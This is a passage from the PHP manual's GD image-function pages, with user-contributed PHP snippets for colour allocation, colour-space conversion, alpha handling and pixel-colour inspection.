  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
Zigbigidorlu at hotmail dot com 06-Oct-2005 09:05
Here's a very simple and very effective code to change a HEX color to RGB.

<?php
function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}
?>
mail at kailashnadh dot name 28-Jun-2005 04:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

    header("Content-type: image/jpeg");

    $source=imagecreatefromjpeg($pic);    // Source
    $width=imagesx($source);    $height=imagesy($source);

    $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

    for($y=0; $y < $height; $y++) {
        for($x=0; $x < $width; $x++) {

        $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

            // this is what makes the colors negative
            $r=255-$colors['red'];
            $g=255-$colors['green'];
            $b=255-$colors['blue'];
            $test=imagecolorallocate($im, $r,$g,$b);
            imagesetpixel($im,$x, $y, $test);
        }
    }

    imagejpeg($im);
    imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it 08-Jun-2005 03:38
hsl to RGB
(not yet optimized but it function)

<?php
function hslToRgb ($h, $s, $l) {
    if ($h>240 || $h<0) return array(0,0,0);
    if ($s>240 || $s<0) return array(0,0,0);
    if ($l>240 || $l<0) return array(0,0,0);
    if ($h<=40) {
        $R=255;
        $G=(int)($h/40*256);
        $B=0;
    }
    elseif ($h>40 && $h<=80) {
        $R=(1-($h-40)/40)*256;
        $G=255;
        $B=0;
    }
    elseif ($h>80 && $h<=120) {
        $R=0;
        $G=255;
        $B=($h-80)/40*256;
    }
    elseif ($h>120 && $h<=160) {
        $R=0;
        $G=(1-($h-120)/40)*256;
        $B=255;
    }
    elseif ($h>160 && $h<=200) {
        $R=($h-160)/40*256;
        $G=0;
        $B=255;
    }
    elseif ($h>200) {
        $R=255;
        $G=0;
        $B=(1-($h-200)/40)*256;
    }
    $R=$R+(240-$s)/240*(128-$R);
    $G=$G+(240-$s)/240*(128-$G);
    $B=$B+(240-$s)/240*(128-$B);
    if ($l<120) {
        $R=($R/120)*$l;
        $G=($G/120)*$l;
        $B=($B/120)*$l;
    }
    else {
        $R=$l*((256-$R)/120)+2*$R-256;
        $G=$l*((256-$G)/120)+2*$G-256;
        $B=$l*((256-$B)/120)+2*$B-256;
    }
    if ($R<0) $R=0;
    if ($R>255) $R=255;
    if ($G<0) $G=0;
    if ($G>255) $G=255;
    if ($B<0) $B=0;
    if ($B>255) $B=255;

    return array((int)$R,(int)$G,(int)$B);
}
?>
mv at brazil dot com 15-Mar-2005 08:34
<?php

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
ImagePNG($im);

?>
18-Jan-2005 11:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com 22-Dec-2004 11:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
tyberis 28-Nov-2004 01:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  //return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
  return(array($q[($i+4)%6],$q[($i+2)%6],$q[$i%6])); //[1]
 }
}
?>

[1] - EDITOR NOTE: THIS IS A FIX FROM "hc at hob(removethis)soft dot net".
smoli at paranoya dot ch 19-Jul-2004 08:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?php
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
    $ret = new stdClass();

    if($s == 0)
    {
      $ret->r = $v;
      $ret->g = $v;
      $ret->b = $v;

      return $ret;
    }
    else
    {
      $h = floatval($h) / 255.0;
      $s = floatval($s) / 255.0;
      $v = floatval($v) / 255.0;

      $hue = $h;

      if($hue == 1.0)
        $hue = 0.0;

      $hue *= 6.0;

      $i = intval($hue);
      $f = $hue - floatval($i);
      $w = $v * (1.0 - $s);
      $q = $v * (1.0 - ($s * $f));
      $t = $v * (1.0 - ($s * (1.0 - $f)));

      switch($i)
      {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
      }
    }

    $ret->r = intval($ret->r * 255.0);
    $ret->g = intval($ret->g * 255.0);
    $ret->b = intval($ret->b * 255.0);

    return $ret;
  }
?>
jernberg at fairytale dot se 05-Mar-2004 07:43
this might help someone, how to allocate an color from an html color-definition:

<?php
$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
    $red = hexdec( $ret[1] );
    $green = hexdec( $ret[2] );
    $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
?>
chris at drunkenpirates dot co dot uk 14-Sep-2003 02:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
leif at harmsen dot net 16-Apr-2003 04:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
jasper at pointless dot net 21-Jan-2003 02:20
a patch to php 4.3.0 to add imagecolorallocatealpha is here:

http://pointless.net/~jasper/php-4.3.0-imagecolorallocatealpha.patch

cd php-4.3.0/ext/gd
patch < path/to/patch

and recompile and reinstall.
bisqwit at iki dot fi 17-Feb-2002 05:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.


Allocate a color for an image

  • « imagecolorallocate
  • imagecolorat »
  • PHP Manual
  • GD and Image Functions
  • Allocate a color for an image

imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5)

imagecolorallocatealpha — Allocate a color for an image

Description

int imagecolorallocatealpha ( resource $image , int $red , int $green , int $blue , int $alpha )

imagecolorallocatealpha() behaves identically to imagecolorallocate() with the addition of the transparency parameter alpha.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The red, green and blue parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

A color identifier or FALSE if the allocation failed.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.1.3 | Returns FALSE if the allocation failed. Previously -1 was returned.

Examples

Example #1 Example of using imagecolorallocatealpha()

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// something to get a white background with black border
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x    = 120;
$red_y    = 165;
$blue_x   = 187;
$blue_y   = 125;
$radius   = 150;

// allocate colors with alpha values
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red    = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue   = imagecolorallocatealpha($image, 0, 0, 255, 75);

// drawing 3 overlapped circle
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// don't forget to output a correct header!
header('Content-Type: image/png');

// and finally, output the result
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : Example of using imagecolorallocatealpha()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorallocate() - Allocate a color for an image
  • imagecolordeallocate() - De-allocate a color for an image

User Contributed Notes

Ben Zemm 24-Nov-2011 03:40
"This was stored as 8bit where 0 is completely transparant, and 255 is complete opaque."

This would be a lot more efficient:

<?php
$alpha7 = ((~((int)$alpha8)) & 0xff) >> 1;
?>

where alpha8==255, alpha7==0
where alpha8=127, alpha7== 64
where alpha8==0, alpha7==127
hosh [underscore] 90 [at] live [dot] com 29-Mar-2011 02:57
I have had a case where I got the alpha from a raw RGBA pallete. This was stored as 8bit where 0 is completely transparant, and 255 is complete opaque.
This is impossible to use with imagecolorallocatealpha() as it requires a 7bit int where 0 is completely opaque and 127 is completely transparant (otherway around)
You can solve this by subtracting 255, removing the negative sign (either by converting to string and substr($alpha, 1) or some other way) and then bitshifting the answer to the right by one 1 bit.

Example:
<?php
$alpha = 0; // equivalent to alpha 127 needed for imagecolorallocatealpha()
$alpha = $alpha - 255; // subtract 255, this will give a negative number
$alpha = substr($alpha, 1); // remove negative/minus sign
$alpha = (int)$alpha; // convert back to integer
$alpha = $alpha >> 1; // bitshift to the right once.
echo $alpha; // output: 127

// This can be done in one line of course:
$alpha = 255; // equivalent to 0 for imagecolorallocatealpha()
$alpha = ((int)(substr($alpha - 255, 1))) >> 1;
echo $alpha; // outputs 0
?>
fjoggen at gmail dot com 29-Nov-2007 04:19
If you need to calculate the integer representation of a color with an alpha channel, without initialising an image and using the imagecolorallocatealpha function. Then this function might be of some help:

<?php
function alphaColor($hexColor,$alpha)
{
        return bindec(decbin($alpha).decbin(hexdec($hexColor));
}

echo alphaColor("FFFFFF",127);
?>
eric (at) junioronline.us 25-Jan-2006 10:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

    $color = imagecolorat($im, 50, 50);
    $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)
fchristl at hotmail dot com 19-Sep-2003 09:55
Check out this Source, it's a little funny feature showing you, for what imagecolorallocatealpha() is used:

<?php
$im=imagecreatetruecolor(300,300);
$white=imagecolorallocate($im,255,255,255);
imagefilledrectangle($im,0,0,imagesx($im),imagesy($im),$white);
for($i=0;$i<256;$i=$i+10)
{
$col=imagecolorallocatealpha($im,$i,$i,$i,ceil(rand(0,127)));
imagefilledellipse($im,$i,$i,$i,$i,$col);
}
header("content-type: image/png");
imagepng($im);
?>


Get the index of the color of a pixel

  • « imagecolorallocatealpha
  • imagecolorclosest »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the color of a pixel

imagecolorat

(PHP 4, PHP 5)

imagecolorat — Get the index of the color of a pixel

Description

int imagecolorat ( resource $image , int $x , int $y )

Returns the index of the color of the pixel at the specified location in the image specified by image.

If PHP is compiled against GD library 2.0 or higher and the image is a truecolor image, this function returns the RGB value of that pixel as integer. Use bitshifting and masking to access the distinct red, green and blue component values:

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of the point.

y

y-coordinate of the point.

Return Values

Returns the index of the color.

Examples

Example #1 Access distinct RGB values

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

var_dump($r, $g, $b);
?>

The above example will output something similar to:

int(119)
int(123)
int(180)

Example #2 Human-readable RGB values using imagecolorsforindex()

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);

$colors = imagecolorsforindex($im, $rgb);

var_dump($colors);
?>

The above example will output something similar to:

array(4) {
  ["red"]=>
  int(119)
  ["green"]=>
  int(123)
  ["blue"]=>
  int(180)
  ["alpha"]=>
  int(127)
}

See Also

  • imagecolorset() - Set the color for the specified palette index
  • imagecolorsforindex() - Get the colors for an index
  • imagesetpixel() - Set a single pixel

User Contributed Notes

dewi at dewimorgan dot com 25-Aug-2014 07:00
To test whether to handle the return value of this function as RGB or a palette index, see either imageistruecolor(), or (for GD < 2.0.1, or PHP 4 < 4.3.2) imagecolorstotal() == 0.

It seems that a number of comments here take many lines to convert RGB or RGBA values to hex strings #AARRGGBB. This is a one-liner in most cases:

$hex = sprintf("#%08X", imagecolorat($im32, $x, $y));
$hex = sprintf("#%08X", $rgb);
$hex = sprintf("#%08X", $argb);
$hex = sprintf("#%02X%06X", $rgba >> 24, $rgba & 0xFF000000);
$hex = sprintf("#00%02X%02X%02X", $r, $g, $b);
$hex = sprintf("#%02X%02X%02X%02X", $a, $r, $g, $b);

For paletted images, it's two lines:
$cols = imagecolorsforindex($imPal, imagecolorat($imPal, $x, $y));
$hex = sprintf("#%08X", $cols['alpha'], $cols['red'], $cols['green'], $cols['blue']);
justin at hoogs dot com dot au 21-Oct-2013 11:05
This improves upon to my previous function (which only really worked on a few greyscale colours). Colour should now be a hexadecimal colour value. Colour and tolerance are now optional parameters.

trimImage ( resource $image [, str $colour [, int $tolerance]] )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
Hexadecimal value of colour to be 'trimmed'.  If omitted the top/left corner colour will be used as default.

tolerance
Acceptable range +- from colour.  Allowable range 0 to 255. If omitted 10 will be used as default.

Return Values
Returns an array of outermost pixels which are beyond the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

function trimImage($im,$c=null,$t=10) {
  // if hex colour ($c) exists attempt to convert to decimal
  if ($c) $rgb = @hexdec($c);
  // if hexdec failed to get a value between black (0) and white (16777215)
  // grab the colour from the top left corner (2 pixels in to avoid messy edges)
  if (!is_numeric($rgb) || $rgb < 0 || $rgb > 16777215) $rgb = imagecolorat($im, 2, 2);
  // split $rgb into red, green and blue
  $r = ($rgb >> 16) & 0xFF;
  $g = ($rgb >> 8) & 0xFF;
  $b = $rgb & 0xFF;
  // make sure tolerance ($t) is a number between 0 - 255
  if (!is_numeric($t) || $t < 0) $t = 0;
  elseif ($t > 255) $t = 255;

  $w = imagesx($im); $h = imagesy($im); // image width and height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $red = ($rgb >> 16) & 0xFF;
      $grn = ($rgb >> 8) & 0xFF;
      $blu = $rgb & 0xFF;
      if (
        $red < $r-$t || $red > $r+$t || // not trim red (nor within tolerance)
        $grn < $g-$t || $grn > $g+$t || // not trim green (nor within tolerance)
        $blu < $b-$t || $blu > $b+$t // not trim blue (nor within tolerance)
      ) {
        $y_axis[$y] = $y; $x_axis[$x] = $x; // wanted pixel coordinates stored
      }
    }
  }
  if (!$y_axis) $y_axis = $x_axis = array(0); // avoid errors if all pixels are trimmed
  // sort so first and last occurances are at start and end
  sort($y_axis); sort($x_axis);

  $t = array_shift($y_axis); // first wanted pixel on Y axis (top)
  $r = array_pop($x_axis); // last wanted pixel on X axis (right)
  $b = array_pop($y_axis); // last wanted pixel on Y axis (bottom)
  $l = array_shift($x_axis); // first wanted pixel on X axis (left)

  return array($t,$r,$b,$l);
}
justin at hoogs dot com dot au 19-Mar-2012 12:48
trimImage ( resource $image , int $colour , int $tolerance )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
colour to be 'trimmed'.  Allowable range 0 (black) to 255 (white).  if null (or outside 0 - 255) will use top/left corner colour as default.

tolerance
Acceptable range +- from colour.  0 (trim only exact colour) to 255 (trim all colours).

Return Values
Returns an array of outermost pixels which are outside the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

Example (and actual function)
<?php
function trimImage($im,$c,$t) {
  // if trim colour ($c) isn't a number between 0 - 255
  if (!is_numeric($c) || $c < 0 || $c > 255) {
    // grab the colour from the top left corner and use that as default
    $rgb = imagecolorat($im, 2, 2); // 2 pixels in to avoid messy edges
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
    $c = round(($r+$g+$b)/3); // average of rgb is good enough for a default
  }
  // if tolerance ($t) isn't a number between 0 - 255 use 10 as default
  if (!is_numeric($t) || $t < 0 || $t > 255) $t = 10;

  $w = imagesx($im); // image width
  $h = imagesy($im); // image height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $r = ($rgb >> 16) & 0xFF;
      $g = ($rgb >> 8) & 0xFF;
      $b = $rgb & 0xFF;
      if (
      ($r < $c-$t || $r > $c+$t) && // red not within tolerance of trim colour
      ($g < $c-$t || $g > $c+$t) && // green not within tolerance of trim colour
      ($b < $c-$t || $b > $c+$t) // blue not within tolerance of trim colour
      ) {
        // using x and y as keys condenses all rows and all columns
        // into just one X array and one Y array.
        // however, the keys are treated as literal and therefore are not in
        // numeric order, so we need to sort them in order to get the first
        // and last X and Y occurances of wanted pixels.
        // normal sorting will remove keys so we also use x and y as values,
        // this way they are still available without preserving keys.
        $y_axis[$y] = $y;
        $x_axis[$x] = $x;
        // note: $y_axis[] = $y; and $x_axis[] = $x; works just as well
        // but results in much much larger arrays than is necessary
        // array_unique would reduce size again but this method is quicker
      }
    }
  }
  // sort them so first and last occurances are at start and end
  sort($y_axis);
  sort($x_axis);

  $top = array_shift($y_axis); // first wanted pixel on Y axis
  $right = array_pop($x_axis); // last wanted pixel on X axis
  $bottom = array_pop($y_axis); // last wanted pixel on Y axis
  $left = array_shift($x_axis); // first wanted pixel on X axis

  return array($top,$right,$bottom,$left);
}

$image='test.jpg';
$im = imagecreatefromjpeg($image); // we need resource

$c = (isset($_GET[c])) ? $_GET[c] : null; // set trim colour via GET
$t = (isset($_GET[t])) ? $_GET[t] : null; // set tolerance via GET

list($t,$r,$b,$l) = trimImage($im,$c,$t); // find top, right, bottom and left

$w = $r-$l; // find width
$h = $b-$t; // find height

imagedestroy($im); // free resource

// below is just for visually testing function ---------------------------------

$html_display = <<<HTM

<style type="text/css">
#stage {
  position: relative;
  float: left; // so it is the same size as the image it contains
}
#canvas {
  border: solid 1px #FC3;
  width: {$w}px;
  height: {$h}px;
  position: absolute;
  top: {$t}px;
  left: {$l}px;
}
img { border: solid 1px #EEE; }
</style>

HTM;

?>
<html>
<head>
<?=$html_display?>
</head>

<body>
<div id="stage">
  <div id="canvas"></div>
  <img src="test.jpg" />
</div>

</body>
</html>
chandrachur at elegantsystems dot net 28-Mar-2011 10:53
Here is a fun code for making images with white bg transparent. Well it can work with any bg but you need to adjust the color values accordingly. Works best with plain dual colors. I searched for this kind of code a lot but unable to find one ...see if this helps someone.

<?php

function transparentImage($src){  //making images with white bg transparent
$r1=80;
$g1=80;
$b1=80;
for($x = 0; $x < imagesx($src); ++$x)
        {
            for($y = 0; $y < imagesy($src); ++$y)
            {
                $color=imagecolorat($src, $x, $y);
                $r = ($color >> 16) & 0xFF;
                $g = ($color >> 8) & 0xFF;
                $b = $color & 0xFF;
                for($i=0;$i<270;$i++){
                    if($r.$g.$b==($r1+$i).($g1+$i).($b1+$i)){
                        $trans_colour = imagecolorallocatealpha($src, 0, 0, 0, 127);
                        imagefill($src, $x, $y, $trans_colour);
                    }
                }
            }
        }

        return $src;
}

$image='abc/abc.jpg';
$src = imagecreatefromjpeg($image);
$src=transparentImage($src); //Lets make the jpegs transparent

?>
Kae Cyphet 09-Feb-2011 02:02
If you are getting inconsistent results or results that dont make any sense when trying to retrieve a black pixel eg:

(Red,Green,Blue)
0,0,0
0,0,0
0,0,2
0,0,4
0,0,6
0,0,7
0,0,0
0,0,10
0,0,8
0,0,9
0,0,0
0,0,12
0,0,13
0,0,0

switch from using imagecreate() to imagecreatetruecolor()

issue found when creating a graph where a pixel would increase in color based on the previous color and new data.
madtrader117 at gmail dot com 08-Aug-2010 04:51
Here's a function I made for finding the size of the black border surrounding some movie thumbnails where the movie itself has had black padding added in order to maintain aspect ratio.

<?php
    define("DEBUG_OUT",TRUE);
    $border_size = find_border_size($path);
    print_r($border_size);
    /*
     * $border = max(find_border_size("img.jpg"));
     * $thumb_size_x = 180+(2*$border);
     * $thumb_size_y = 240+(2*$border);
     * $thumb_size = $thumb_size_x . "x" . $thumb_size_y; (String to use in the -s param of ffmpeg)
     * $crop_cmd = "-croptop $border -cropbottom $border -cropright $border -cropleft $border";
     */
    function find_border_size($path)
    {
        /* The pad var is essentially a 'feather' value. Unless one of the RGB values rises
         * above $pad we are saying to continue. You can try different values but with 10 I
         * would still get a decent sized border due to the bleedover of the movie into
         * the hat.
         */
        $pad = 20;
        $border_y = 0;
        $border_x = 0;

        if(!file_exists($path))
        {
            if(DEBUG_OUT) echo("Error: $path not found.\n");
            return FALSE;
        }
        else
        {
            if(DEBUG_OUT) echo("Opening: $path ...\n");
        }
        $im = @imagecreatefromjpeg($path);
        if(!$im) return FALSE;
        $height = imagesy($im);
        $width = imagesx($im);

        /* Let's start at 0, 0 and keep going till we hit a color */
        if(DEBUG_OUT) echo("Image - Height: $height / Width: $width\n");
        /* Border Height(Y) */
        $center_width = ceil($width/2);
        for($i=0; $i<$height; $i++)
        {
            $rgb = imagecolorat($im,$center_width,$i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Height: ($center_width,$i) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_y = $i;
                if($border_y == $height) $border_y = 0;
                break;
            }
        }

        /* Border Width(X) */
        $center_height = ceil($height/2);
        for($i=0; $i<$width; $i++)
        {
            $rgb = imagecolorat($im,$i,$center_height);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Width: ($i,$center_width) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_x = $i;
                if($border_x == $width) $border_x = 0;
                break;
            }
        }

        /* I am making the border a multiple of 2 since I am sending these values to FFMpeg */
        if($border_x != 0)
        {
            $border_x /= 2;
            $border_x = round($border_x);
            $border_x *= 2;
        }
        if($border_y != 0)
        {
            $border_y /= 2;
            $border_y = round($border_y);
            $border_y *= 2;
        }
        if(DEBUG_OUT) echo("Border Width: $border_x / Border Height: $border_y\n");
        return array($border_x,$border_y);
    }
?>
black at scene-si dot org 18-May-2010 02:39
If an image is filled with a solid color (rgb 0,0,0) the average color will be 0,0,0, and the histogram will have the maximum values at r[0], g[0], and b[0]. Since we remove those values with the tolerance (+- 16), we are only left with colors outside of average.

If the removed colors represent more than 90% of the image (we remove 6.25-12.5% of the histogram based on the average color), then we asume the image is blank.

This detects solid filled images of any color, and with images of very little color variance (blank wall, blue sky with no clouds, nearly faded images, very low contrast and low color range images). The function is perfect for checking if a frame from a video is blank or not (in case you are generating thumbnails).

<?php
function isBlank($gd_resource, $tolerance, $percent)
{
        list($w,$h) = array(imagesx($gd_resource), imagesy($gd_resource));

        $count = 0;
        $hr = $hg = $hb = array();
        for ($i=0; $i<$h; $i++) {
                for ($j=0; $j<$w; $j++) {
                        $pos = imagecolorat($gd_resource, $j, $i);
                        $f = imagecolorsforindex($gd_resource, $pos);
                        $hr[$f['red']] = issetor($hr[$f['red']],0) + 1;
                        $hg[$f['green']] = issetor($hg[$f['green']],0) + 1;
                        $hb[$f['blue']] = issetor($hb[$f['blue']],0) + 1;
                        $count ++;
                }
        }

        $rc = array_sum($hr);
        $gc = array_sum($hg);
        $bc = array_sum($hb);

        $r = $rc/$count;
        $g = $gc/$count;
        $b = $bc/$count;

        $ra = range(max(0,$r-$tolerance), min(255,$r+$tolerance));
        $ga = range(max(0,$g-$tolerance), min(255,$g+$tolerance));
        $ba = range(max(0,$b-$tolerance), min(255,$b+$tolerance));

        foreach ($ra as $rx) {
                unset($hr[$rx]);
        }
        foreach ($ga as $gx) {
                unset($hg[$gx]);
        }
        foreach ($ba as $bx) {
                unset($hb[$bx]);
        }

        $red = floatval(array_sum($hr)+1) / floatval($rc);
        $green = floatval(array_sum($hg)+1) / floatval($gc);
        $blue = floatval(array_sum($hb)+1) / floatval($bc);

        if ($red<$percent && $green<$percent && $blue<$percent) {
                return true;
        }
        return false;
}

// Example;

isBlank($gd_resource, 16, 0.1);

?>
tumbler 15-Feb-2009 08:36
With this example you can calculate the weather status :)
Just put an image (webcam) in an img folder, and run this script.

<?php
    $img = "img/clouds.gif";
    $imgHand = ImageCreateFromGIF;
    $imgSize = GetImageSize($img);
    $imgWidth = $imgSize[0];
    $imgHeight = $imgSize[1];
    echo '<img src="'.$img.'"><br><br>';
    for ($l = 0; $l < $imgHeight; $l++) {
        for ($c = 0; $c < $imgWidth; $c++) {
            $pxlCor = ImageColorAt($imgHand,$c,$l);
